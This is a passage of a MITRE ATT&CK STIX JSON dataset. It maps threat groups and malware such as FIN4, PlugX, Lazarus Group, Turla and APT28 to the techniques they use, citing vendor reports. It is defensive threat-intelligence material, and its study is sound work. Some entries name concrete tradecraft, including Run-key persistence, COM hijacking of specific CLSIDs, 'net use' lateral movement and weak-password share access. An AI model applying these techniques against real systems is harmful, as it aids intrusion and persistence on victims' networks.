                    "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html",
                    "source_name": "FireEye Hacking FIN4 Video Dec 2014"
                }
            ],
            "description": "[FIN4](https://attack.mitre.org/groups/G0085) has used spearphishing emails (often sent from compromised accounts) containing malicious links.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)",
            "id": "relationship--a8e36e77-3899-4e7c-b27e-ab6ebf049066",
            "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7",
            "type": "relationship",
            "modified": "2019-04-18T20:19:49.280Z",
            "created": "2019-01-31T02:01:45.675Z"
        },
        {
            "id": "relationship--c35702f8-f13f-4851-9cfc-1eea526bd6e1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PlugX](https://attack.mitre.org/software/S0013) has beaconed to its C2 over port 443.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: CIRCL PlugX March 2013)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017"
                },
                {
                    "source_name": "CIRCL PlugX March 2013",
                    "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf",
                    "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."
                }
            ],
            "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2019-04-19T15:08:15.924Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--8e28cc53-3fd4-42ed-8516-71fd9ee57641",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) collected and exfiltrated files from the infected system.(Citation: Cymmetria Patchwork)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cymmetria Patchwork",
                    "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.",
                    "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf"
                }
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2019-07-11T13:53:06.030Z",
            "created": "2017-05-31T21:33:27.075Z"
        },
        {
            "id": "relationship--83ba5b2c-b3fd-4558-a3f8-cef4c31e02bd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware attempts to connect to Windows shares for lateral movement by using a generated list of usernames, which center around permutations of the username Administrator, and weak passwords.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.",
                    "source_name": "Novetta Blockbuster RATs"
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c",
            "type": "relationship",
            "modified": "2020-03-11T17:13:21.353Z",
            "created": "2017-05-31T21:33:27.069Z"
        },
        {
            "id": "relationship--5d26097f-2d6a-4642-857b-109c0f600a73",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "relationship_type": "uses",
            "target_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470",
            "external_references": [
                {
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "source_name": "TrendMicro Patchwork Dec 2017"
                },
                {
                    "source_name": "Volexity Patchwork June 2018",
                    "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.",
                    "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/"
                }
            ],
            "description": "(Citation: TrendMicro Patchwork Dec 2017)(Citation: Volexity Patchwork June 2018)",
            "type": "relationship",
            "modified": "2019-07-11T13:53:06.149Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0cbc1f3f-7a32-4056-bfa6-25186ac5e6a4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[StreamEx](https://attack.mitre.org/software/S0142) has the ability to enumerate processes.(Citation: Cylance Shell Crew Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Shell Crew Feb 2017",
                    "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.",
                    "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
                }
            ],
            "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-19T22:02:49.063Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a83e6a0f-fc31-472f-bffd-135dfc5ce683",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN8](https://attack.mitre.org/groups/G0061) has attempted to map to C$ on enumerated hosts to test the scope of their current credentials/context.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"
                }
            ],
            "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541",
            "type": "relationship",
            "modified": "2019-03-22T20:21:57.764Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--8793b289-4b74-4119-8561-a9ad27dacdff",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BBSRAT](https://attack.mitre.org/software/S0127) has been seen persisting via COM hijacking through replacement of the COM object for MruPidlList <code>{42aedc87-2188-41fd-b9a3-0c966feabec1}</code> or Microsoft WBEM New Event Subsystem <code>{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}</code> depending on the system's CPU architecture.(Citation: Palo Alto Networks BBSRAT)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/",
                    "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.",
                    "source_name": "Palo Alto Networks BBSRAT"
                }
            ],
            "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae",
            "type": "relationship",
            "modified": "2020-03-20T16:38:16.421Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--ee9d56a1-ec92-459c-bd3e-7fc9f52f628d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used VPNs and Outlook Web Access (OWA) to maintain access to victim networks.(Citation: US-CERT TA18-074A)(Citation: US-CERT APT Energy Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                },
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "source_name": "US-CERT APT Energy Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d",
            "type": "relationship",
            "modified": "2019-03-22T20:13:49.629Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--1d54c1d7-529f-4e4f-9a38-55b1b8cbff66",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) contains a cleanup module that removes traces of itself from the victim.(Citation: Symantec Dragonfly)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Dragonfly",
                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf"
                }
            ],
            "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-17T16:17:38.048Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9a62c02a-e373-494e-af73-f8b3274e8c9b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The OsInfo function in [Komplex](https://attack.mitre.org/software/S0162) collects a running process list.(Citation: Sofacy Komplex Trojan)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Sofacy Komplex Trojan",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
                }
            ],
            "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-01-17T19:50:01.354Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9abd0448-a3b7-4262-8753-fe81dc91c434",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN5](https://attack.mitre.org/groups/G0053) has used legitimate VPN, Citrix, or VNC credentials to maintain access to a victim environment.(Citation: FireEye Respond Webinar July 2017)(Citation: DarkReading FireEye FIN5 Oct 2015)(Citation: Mandiant FIN5 GrrCON Oct 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye Respond Webinar July 2017",
                    "description": "Scavella, T. and Rifki, A. (2017, July 20). Are you Ready to Respond? (Webinar). Retrieved October 4, 2017.",
                    "url": "https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html"
                },
                {
                    "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?",
                    "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.",
                    "source_name": "DarkReading FireEye FIN5 Oct 2015"
                },
                {
                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8",
                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
                    "source_name": "Mandiant FIN5 GrrCON Oct 2016"
                }
            ],
            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d",
            "type": "relationship",
            "modified": "2019-04-24T19:41:25.818Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--4a6248d4-4fa1-404a-abed-84e9b7c32dbe",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Turla](https://attack.mitre.org/groups/G0010) used <code>net use</code> commands to connect to lateral systems within a network.(Citation: Kaspersky Turla)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                }
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541",
            "type": "relationship",
            "modified": "2019-07-14T21:04:45.263Z",
            "created": "2017-05-31T21:33:27.045Z"
        },
        {
            "id": "relationship--7d1d4ffd-7c60-4a83-bcfa-66413bbe7212",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RunningRAT](https://attack.mitre.org/software/S0253) adds itself to the Registry key <code>Software\\Microsoft\\Windows\\CurrentVersion\\Run</code> to establish persistence upon reboot.(Citation: McAfee Gold Dragon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/",
                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
                    "source_name": "McAfee Gold Dragon"
                }
            ],
            "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-04-21T23:09:31.610Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--677f32ad-2aa1-4fe3-8dab-73494891aa4a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "During the [T9000](https://attack.mitre.org/software/S0098) installation process, it drops a copy of the legitimate Microsoft binary igfxtray.exe. The executable contains a side-loading weakness which is used to load a portion of the malware.(Citation: Palo Alto T9000 Feb 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto T9000 Feb 2016",
                    "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"
                }
            ],
            "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
            "type": "relationship",
            "modified": "2020-03-30T03:07:37.789Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--3933f2fa-9154-4ab4-b9cc-975a1dfbecf5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5",
            "external_references": [
                {
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A",
                    "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.",
                    "source_name": "US-CERT TYPEFRAME June 2018"
                }
            ],
            "description": "(Citation: US-CERT TYPEFRAME June 2018)",
            "type": "relationship",
            "modified": "2019-12-20T14:28:39.530Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ff3d2ebf-ea7b-4fd2-a524-9a6f20bcf3e3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Comnie](https://attack.mitre.org/software/S0244) uses RC4 and Base64 to obfuscate strings.(Citation: Palo Alto Comnie)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Comnie",
                    "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"
                }
            ],
            "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-17T00:43:32.012Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ef318b23-1b8c-4c24-ad20-09c0977a73b3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[DownPaper](https://attack.mitre.org/software/S0186) uses the command line.(Citation: ClearSky Charming Kitten Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ClearSky Charming Kitten Dec 2017",
                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf"
                }
            ],
            "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T17:05:40.089Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--4527c528-8377-4349-ae5c-95c04cabd3d4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[H1N1](https://attack.mitre.org/software/S0132) uses multiple techniques to obfuscate strings, including XOR.(Citation: Cisco H1N1 Part 1)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cisco H1N1 Part 1",
                    "description": "Reynolds, J.. (2016, September 13). H1N1: Technical analysis reveals new capabilities. Retrieved September 26, 2016.",
                    "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities"
                }
            ],
            "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-04-29T18:23:16.024Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5e82824d-3548-4ffe-98fd-8e432a36847b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--ec42d8be-f762-4127-80f4-f079ea6d7135",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df",
            "type": "relationship",
            "modified": "2020-03-19T19:10:25.594Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ef79ec2f-fd7f-4f0b-851c-d215693987be",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--aeff5887-8f9e-48d5-a523-9b395e2ce80a",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
            "type": "relationship",
            "modified": "2021-02-09T14:15:25.586Z",
            "created": "2017-05-31T21:33:27.017Z"
        },
        {
            "id": "relationship--fe4ed27a-6d45-4e6a-bbc0-7ebe15a38046",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RTM](https://attack.mitre.org/software/S0148) can delete all files created during its execution.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                },
                {
                    "source_name": "Unit42 Redaman January 2019",
                    "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/",
                    "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."
                }
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-06-16T20:51:13.951Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--76393f0c-a13c-48a8-ba7d-80502ae938a7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "relationship_type": "uses",
            "target_ref": "tool--a52edc76-328d-4596-85e7-d56ef5a9eb69",
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "description": "(Citation: Mandiant APT1)",
            "type": "relationship",
            "modified": "2019-08-20T13:08:13.435Z",
            "created": "2017-05-31T21:33:27.037Z"
        },
        {
            "id": "relationship--63ee7d80-372e-4841-87a4-825cb5dd7058",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT28](https://attack.mitre.org/groups/G0007) used a publicly available tool to gather and compress multiple documents on the DCCC and DNC networks.(Citation: DOJ GRU Indictment Jul 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.justice.gov/file/1080281/download",
                    "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.",
                    "source_name": "DOJ GRU Indictment Jul 2018"
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
            "type": "relationship",
            "modified": "2020-03-30T01:46:20.278Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--9191026d-2410-4e6d-98fe-26786a5b8bf1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "During execution, [Threat Group-3390](https://attack.mitre.org/groups/G0027) malware deobfuscates and decompresses code that was encoded with Metasploit\u2019s shikata_ga_nai encoder as well as compressed with LZNT1 compression.(Citation: Securelist LuckyMouse June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/",
                    "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.",
                    "source_name": "Securelist LuckyMouse June 2018"
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2019-07-14T21:15:55.363Z",
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        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OSInfo](https://attack.mitre.org/software/S0165) has enumerated the local administrators group.(Citation: Symantec Buckeye)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Buckeye",
                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
                }
            ],
            "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b",
            "type": "relationship",
            "modified": "2020-03-18T22:53:32.312Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--2d659138-90e5-4b67-8956-02120d99506f",
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            "description": "[3PARA RAT](https://attack.mitre.org/software/S0066) uses HTTP for command and control.(Citation: CrowdStrike Putter Panda)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "CrowdStrike Putter Panda",
                    "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
                    "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
                }
            ],
            "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-16T23:58:58.744Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--6c0aae73-fe06-4aa3-8216-568d78747c6d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Newer variants of [BACKSPACE](https://attack.mitre.org/software/S0031) will encode C2 communications with a custom system.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
